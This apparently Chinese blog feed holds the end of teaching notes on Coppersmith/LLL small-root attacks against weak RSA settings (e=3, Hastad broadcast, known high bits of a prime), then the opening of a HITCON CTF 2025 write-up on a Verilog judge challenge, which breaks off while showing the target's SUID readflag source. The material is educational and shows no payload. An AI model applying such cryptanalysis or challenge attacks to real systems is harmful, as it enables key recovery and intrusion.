&lt;li&gt;构造 Sylvester 矩阵并用 Bareiss 无分式消元（整数算法）求行列式，得到一个整数值 $R’(x_0)$；&lt;&#x2F;li&gt;
&lt;li&gt;收集足够多的点 ${(x_0, R’(x_0))}$，用拉格朗日插值重建 $R’(x)$。此 $R’(x)$ 与真实 $R(x)$ 只差一个非零常数因子，不影响求解 $R(x)=0$ 的整数根。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;blockquote&gt;
&lt;p&gt;这些都在 coppersmith&#x2F;elimination.py 中手写实现：Bareiss 行列式、Sylvester 矩阵、插值与评估。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;7-wo-men-de-shi-xian-lu-xian-tu-dui-ying-wen-jian&quot;&gt;7. 我们的实现路线图（对应文件）&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;coppersmith&#x2F;poly.py：整数多项式基本运算。&lt;&#x2F;li&gt;
&lt;li&gt;coppersmith&#x2F;lll.py：Fraction 版 LLL，包含 Gram–Schmidt、size reduction、Lovász 条件检查。&lt;&#x2F;li&gt;
&lt;li&gt;coppersmith&#x2F;univariate.py：单变量小根（Howgrave–Graham 变体），列缩放与反缩放评估，区间搜索验证。&lt;&#x2F;li&gt;
&lt;li&gt;coppersmith&#x2F;bivar.py：二元多项式运算（加、乘、幂、移位、评估）。&lt;&#x2F;li&gt;
&lt;li&gt;coppersmith&#x2F;bivariate.py：二元小根（格构造、列缩放、LLL、两式消元、回代验证）。&lt;&#x2F;li&gt;
&lt;li&gt;coppersmith&#x2F;elimination.py：Bareiss 行列式、Sylvester 矩阵、插值求结果式。&lt;&#x2F;li&gt;
&lt;li&gt;examples&#x2F;：若干可运行的经典&#x2F;教学案例。&lt;&#x2F;li&gt;
&lt;li&gt;scripts&#x2F;run_demos.sh：一键运行，采用安全 shell 规范（set -euo pipefail 等）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;8-dian-xing-ying-yong-jian-mo-yu-fu-xian-shi-yan&quot;&gt;8. 典型应用建模与复现实验&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;8-1-rsa-xiao-zhi-shu-e-3-de-xiao-xiao-xi&quot;&gt;8.1 RSA 小指数（ $e=3$ ）的小消息&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;模型：$c \equiv m^3 \pmod N$，且 $m &amp;lt; N^{1&#x2F;3}$。&lt;&#x2F;li&gt;
&lt;li&gt;单变量建模：$f(x)=x^3-c$，选 $X\approx \lfloor N^{1&#x2F;3} \rfloor$，按第 3 节流程求小根。&lt;&#x2F;li&gt;
&lt;li&gt;我们的演示：examples&#x2F;demo_rsa_small_e.py（也演示了纯 CRT + 整数立方根的 Hastad 广播案例）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;8-2-yi-zhi-su-yin-zi-gao-wei-partial-key-exposure-yin-shi-fen-jie&quot;&gt;8.2 已知素因子高位（Partial Key Exposure）因式分解&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;设 $N=pq$，已知 $p$ 的高 $k$ 位，写 $p=p_0+x$，其中 $|x|&amp;lt;2^{b-k}$（$b$ 为位长）。令 $q \approx N&#x2F;p_0$，写 $q=q_0+y$。&lt;&#x2F;li&gt;
&lt;li&gt;二元建模：
$$
\begin{aligned}
F(x,y) &amp;amp;= (p_0+x)(q_0+y) - N \
&amp;amp;= xy + q_0 x + p_0 y + (p_0q_0 - N).
\end{aligned}
$$
目标是在 $|x|&amp;lt;X,\ |y|&amp;lt;Y$ 内恢复 $(x,y)$，进而恢复 $(p,q)$。&lt;&#x2F;li&gt;
&lt;li&gt;要点：若 $k&amp;gt;b&#x2F;2$，则 $X=2^{b-k} &amp;lt; 2^{b&#x2F;2}\approx N^{1&#x2F;4}$，通常在教学参数下可行。&lt;&#x2F;li&gt;
&lt;li&gt;我们的演示：examples&#x2F;demo_factor_highbits.py。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;8-3-er-yuan-jiao-xue-li-f-x-y-x-2-y-c-gou-zao-xiao-gen&quot;&gt;8.3 二元教学例：$F(x,y)=x^2+y+c$（构造小根）&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;取 $c\equiv - (r^2+s)\pmod N$，则 $(r,s)$ 为小根。用二元流程 + 结果式消元可找回 $(r,s)$。&lt;&#x2F;li&gt;
&lt;li&gt;演示：examples&#x2F;demo_bivariate.py。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;8-4-hastad-yan-bo-e-3-wu-tian-chong&quot;&gt;8.4 Hastad 广播（ $e=3$，无填充）&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;三个互素模数 $N_1,N_2,N_3$，同一明文 $m$，$c_i\equiv m^3\pmod{N_i}$。若 $m^3 &amp;lt; N_1N_2N_3$，则 CRT 合并得 $C=m^3$，整数立方根恢复 $m$（与 LLL 无关，但常与小根场景一起讲解）。&lt;&#x2F;li&gt;
&lt;li&gt;演示：examples&#x2F;demo_hastad_broadcast.py。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;9-ru-he-yun-xing&quot;&gt;9. 如何运行&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;一键脚本（推荐）：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;bash&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; scripts&#x2F;run_demos.sh&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;单独运行任一示例：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;python&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; -m examples.demo_univar&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;python&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; -m examples.demo_bivariate&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;python&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; -m examples.demo_integer_smallroot&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;python&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; -m examples.demo_rsa_small_e&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;python&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; -m examples.demo_factor_highbits&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;python&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; -m examples.demo_hastad_broadcast&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;10-chang-jian-wen-ti-faq&quot;&gt;10. 常见问题（FAQ）&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;找不到根？
&lt;ul&gt;
&lt;li&gt;适当减小 $X$，或增大 $m,t$（二元中增大 $m,t_x,t_y$）。&lt;&#x2F;li&gt;
&lt;li&gt;尝试提高 $N$ 规模但让根更“小”（更符合 $X\lesssim N^{1&#x2F;d}$）。&lt;&#x2F;li&gt;
&lt;li&gt;检查多项式是否按“升幂系数”传入；确认验证条件 $f(r)\bmod N=0$ 是否成立。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;结果式插值失败&#x2F;退化？
&lt;ul&gt;
&lt;li&gt;特殊 $x_0$ 可能导致专化降阶或全零，跳过该点并取更多采样点。&lt;&#x2F;li&gt;
&lt;li&gt;结果式只差一个常数因子，不影响找根；我们用整数插值并做最大公因子规约来稳定系数。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;出现负根或对称根（如 $\pm r$）？
&lt;ul&gt;
&lt;li&gt;由多项式结构决定，属正常现象。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;11-an-quan-ti-shi&quot;&gt;11. 安全提示&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;本仓库仅为教学演示，严禁直接用于攻击真实系统。&lt;&#x2F;li&gt;
&lt;li&gt;现代密码协议会使用填充与防护（如 RSA-OAEP），避免本讲义中的“理想化弱设置”。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;12-can-kao&quot;&gt;12. 参考&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;Galbraith, Steven. Mathematics of Public Key Cryptography, Chapter 19.&lt;&#x2F;li&gt;
&lt;li&gt;Coppersmith, D. Small solutions to polynomial equations, and low exponent RSA vulnerabilities.&lt;&#x2F;li&gt;
&lt;li&gt;Howgrave-Graham, N. Finding small roots of univariate modular equations revisited.&lt;&#x2F;li&gt;
&lt;li&gt;Hastad, J. On using RSA with low exponent.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;13-xiang-mu-jie-gou-gong-dui-zhao&quot;&gt;13. 项目结构（供对照）&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── coppersmith&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;│   ├── __init__.py&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;│   ├── poly.py                 # 整数多项式工具&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;│   ├── lll.py                  # Fraction 版 LLL&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;│   ├── univariate.py           # 单变量小根&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;│   ├── bivar.py                # 二元多项式运算&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;│   ├── bivariate.py            # 二元小根 + 结果式消元流程&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;│   └── elimination.py          # Bareiss 行列式 + Sylvester + 插值&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── examples&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;│   ├── demo_univar.py&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;│   ├── demo_bivariate.py&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;│   ├── demo_integer_smallroot.py&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;│   ├── demo_rsa_small_e.py&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;│   ├── demo_factor_highbits.py&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;│   └── demo_hastad_broadcast.py&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── scripts&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;│   └── run_demos.sh&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── README.md&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;└── pyproject.toml&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;</content>
        <summary type="html">单变量、二元、消元与应用</summary>
        </entry><entry xml:lang="zh-Hans">
        <title>HITCON CTF 2025 WriteUp</title>
        <published>2025-08-25T00:00:00+00:00</published>
        <updated>2025-08-25T00:00:00+00:00</updated>
        <author>
            <name>Normal SubGroup</name>
        </author>
        <link rel="alternate" href="https://NormalSubgroup.cauchy.top/blog/hitcon2025/" type="text/html"/>
        <id>https://NormalSubgroup.cauchy.top/blog/hitcon2025/</id>
        
            <content type="html">&lt;h1 id=&quot;verilog-oj-284pts-ctf-write-up&quot;&gt;Verilog OJ [284pts] - CTF Write-up&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;ti-mu-gai-shu&quot;&gt;题目概述&lt;&#x2F;h2&gt;
&lt;p&gt;这是一道基于 Verilog 硬件描述语言的在线判题系统（OJ）渗透题目。选手需要通过提交 Verilog 代码来获取服务器上的 flag。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;难度&lt;&#x2F;strong&gt;：284 分&lt;br &#x2F;&gt;
&lt;strong&gt;类型&lt;&#x2F;strong&gt;：Web + 硬件安全 + 文件写入&lt;br &#x2F;&gt;
&lt;strong&gt;Flag&lt;&#x2F;strong&gt;：&lt;code&gt;hitcon{testflag}&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;huan-jing-fen-xi&quot;&gt;环境分析&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;jia-gou-gai-lan&quot;&gt;架构概览&lt;&#x2F;h3&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Docker 容器环境：&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── Ruby on Rails (Roda) Web 应用&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── SQLite 数据库&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── Redis (Sidekiq 任务队列)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── Icarus Verilog 仿真器 (iverilog + vvp)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;└── SUID 程序 &#x2F;readflag&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;guan-jian-wen-jian-jie-gou&quot;&gt;关键文件结构&lt;&#x2F;h3&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&#x2F;app&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── scripts&#x2F;judge.sh              # 判题脚本（关键攻击点）&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── app&#x2F;presentation&#x2F;public&#x2F;      # 静态文件目录（目标写入点）&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── app&#x2F;db&#x2F;store&#x2F;voj.db          # SQLite 数据库&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;└── app&#x2F;                         # Rails 应用目录&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&#x2F;readflag                        # SUID root 程序&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&#x2F;flag                           # 目标文件（root:root, 0400）&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;lou-dong-fen-xi-guo-cheng&quot;&gt;漏洞分析过程&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;di-yi-bu-wen-jian-mei-ju-yu-jia-gou-li-jie&quot;&gt;第一步：文件枚举与架构理解&lt;&#x2F;h3&gt;
&lt;p&gt;首先通过 &lt;code&gt;fd&lt;&#x2F;code&gt; 和 &lt;code&gt;rg&lt;&#x2F;code&gt; 快速扫描所有相关文件：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;fd&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; . --type f --max-depth&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt; 10&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; |&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt; head&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; -30&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;发现关键组件：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Dockerfile&lt;&#x2F;code&gt; - 容器构建逻辑&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;readflag.c&lt;&#x2F;code&gt; - SUID 程序源码&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;web&#x2F;scripts&#x2F;judge.sh&lt;&#x2F;code&gt; - 判题脚本&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;web&#x2F;app&#x2F;services&#x2F;run_judge.rb&lt;&#x2F;code&gt; - 判题服务&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;web&#x2F;config.ru&lt;&#x2F;code&gt; - Web 应用配置&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;di-er-bu-suid-cheng-xu-fen-xi&quot;&gt;第二步：SUID 程序分析&lt;&#x2F;h3&gt;
&lt;p&gt;读取 &lt;code&gt;readflag.c&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-storage z-type&quot;&gt;int&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt; main&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-storage z-type&quot;&gt;int&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-parameter&quot;&gt; argc&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-storage z-type&quot;&gt; char&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; *&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-parameter&quot;&gt;argv&lt;&#x2F;span&gt;&lt;span class=&quot;z-storage z-modifier&quot;&gt;[]&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;    seteuid&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt;0&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;    setegid&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt;0&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;    setuid&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt;0&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;    setgid&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt;0&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;argc &lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt; 5&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;        printf&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt;&amp;quot;Usage: %s give me the flag&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-character z-escape&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; argv&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;[&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt;0&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;]);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation&quot;&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt; ((&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;strcmp&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;argv&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;[&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt;1&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;],&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt; &amp;quot;give&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; |&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt; strcmp&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;argv&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;[&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt;2&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;],&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt; &amp;quot;me&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; |&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt; strcmp&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;argv&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;[&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt;3&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;],&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt; &amp;quot;the&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; |&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt; strcmp&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;argv&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;[&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt;4&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;],&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt; &amp;quot;flag&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;))&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; !=&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;        puts&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt;&amp;quot;You are not worthy&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
